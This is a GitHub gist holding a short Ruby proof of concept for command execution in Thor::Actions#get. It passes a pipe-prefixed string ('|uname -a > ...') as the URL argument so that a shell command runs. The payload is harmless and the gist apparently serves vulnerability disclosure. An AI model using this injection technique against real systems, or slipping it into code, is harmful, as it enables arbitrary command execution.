Created
January 8, 2016 18:29
-
-
Save ecneladis/c077dd011aed5dbdf3d5 to your computer and use it in GitHub Desktop.
Code execution in Thor::Actions#get
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'thor' | |
class CLI < Thor | |
include Thor::Actions | |
desc "cmd_exec", "cmd_exec poc" | |
def cmd_exec() | |
get "|uname -a > cmd_exec_test;\nhttps://gist.github.com", "/tmp/dsadas" | |
end | |
end | |
CLI.start(ARGV) |
Author
ecneladis
commented
Jan 8, 2016
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment